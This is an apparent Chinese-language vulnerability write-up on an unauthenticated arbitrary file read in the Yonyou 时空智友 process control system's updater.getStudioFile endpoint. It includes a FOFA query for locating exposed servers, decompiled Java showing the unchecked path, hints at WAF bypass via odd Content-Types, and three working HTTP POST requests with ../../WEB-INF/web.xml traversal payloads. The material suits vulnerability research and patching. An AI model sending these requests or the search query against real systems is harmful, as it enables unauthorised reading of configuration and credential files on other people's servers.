漏洞简介
用友时空智友企业流程化管控系统 updater.getStudioFile 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
fofa语法
body="login.jsp?login=null"
漏洞分析
根据漏洞通告直接搜索 getStudioFile 方法即可找到其业务逻辑实现如下
public void getStudioFile(HttpServletRequest object, HttpServletResponse httpServletResponse, String object2) {
if (a) {
throw new Exception("\u670d\u52a1\u5668\u5df2\u9501\u5b9a\uff0c\u6587\u4ef6\u65e0\u6cd5\u4e0b\u8f7d\u3002");
}
if (!((String)(object2 = ((String)object2).replace('/', '\\'))).startsWith("\\")) {
object2 = "\\" + (String)object2;
}
FormStudioUpdater.a();
object2 = String.valueOf(d) + (String)object2;
object = new File((String)object2);
if (!object.exists()) {
throw new Exception("\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u6587\u4ef6\uff1a" + (String)object2);
}
httpServletResponse.setContentType("application/octet-stream; charset=utf-8");
httpServletResponse.setHeader("Content-Disposition", "attachment;filename=" + URLEncoder.encode((String)object2, "UTF-8"));
object2 = null;
ServletOutputStream servletOutputStream = null;
try {
try {
int n2;
object2 = new FileInputStream((File)object);
object = new byte[4096];
servletOutputStream = httpServletResponse.getOutputStream();
while ((n2 = ((FileInputStream)object2).read((byte[])object)) != -1) {
if (!a) {
servletOutputStream.write((byte[])object, 0, n2);
continue;
}
throw new Exception("\u670d\u52a1\u5668\u5df2\u9501\u5b9a\uff0c\u6587\u4ef6\u4e0b\u8f7d\u5931\u8d25\u3002");
}
}
catch (Exception exception) {
object = exception;
throw exception;
}
}
catch (Throwable throwable) {
if (servletOutputStream != null) {
servletOutputStream.flush();
servletOutputStream.close();
}
if (object2 != null) {
((FileInputStream)object2).close();
}
throw throwable;
}
if (servletOutputStream != null) {
servletOutputStream.flush();
servletOutputStream.close();
}
((FileInputStream)object2).close();
}
对 object2 中的/替换为\,并确保路径以\开头。然后判断是否存在文件路径,存在就直接读取文件内容并响应在body中,期间对 object2 无其余过滤或校验检查,因此造成任意文件读取漏洞。
需要注意的是请求格式,因为并不是走的URL参数,不支持 Content-Type: application/x-www-form-urlencoded 格式,支持其他格式 如 text/plain、application/json、application/pdf、application/zip、application/octet-stream 甚至是 multipart/form-data 及其变种畸形格式等,甚至不携带任何 Content-Type , 鉴于这种奇葩传参方式,可能还有多种绕过WAF姿势。
而 FormStudioUpdater.a() 逻辑如下
private static void a() {
String string;
if (d == null) {
string = Configuration.getProperty((String)"updateformstudio");
if (string == null) {
string = Configuration.getRealPath((String)"/update/FormStudio");
}
d = string;
}
if (g == null) {
string = Configuration.getProperty((String)"studiochangelog");
if (string == null) {
string = FileUtility.GetFullPath((String)d, (String)"changelog.txt");
}
g = string;
}
}
主要是定义几个变量的值 没啥特殊处理。
漏洞复现
如果直接请求接口会报错,爆出物理路径

POST /formservice?service=updater.getStudioFile HTTP/1.1
Host: yonyou.mrxn.net
Content-Type: multipart/form-dataaaaaaa
---.
../../WEB-INF/web.xml
或者下面这种常规请求方式
POST /formservice?service=updater.getStudioFile HTTP/1.1
Host: yonyou.mrxn.net
..\..\WEB-INF\web.xml
POST /formservice?service=updater.getStudioFile HTTP/1.1
Host: yonyou.mrxn.net
Content-Type: multipart/form-data; boundary=----123456
------123456
Content-Disposition: form-data; name="object2"
../../WEB-INF/web.xml
------123456--

成功读取到 web.xml 文件内容


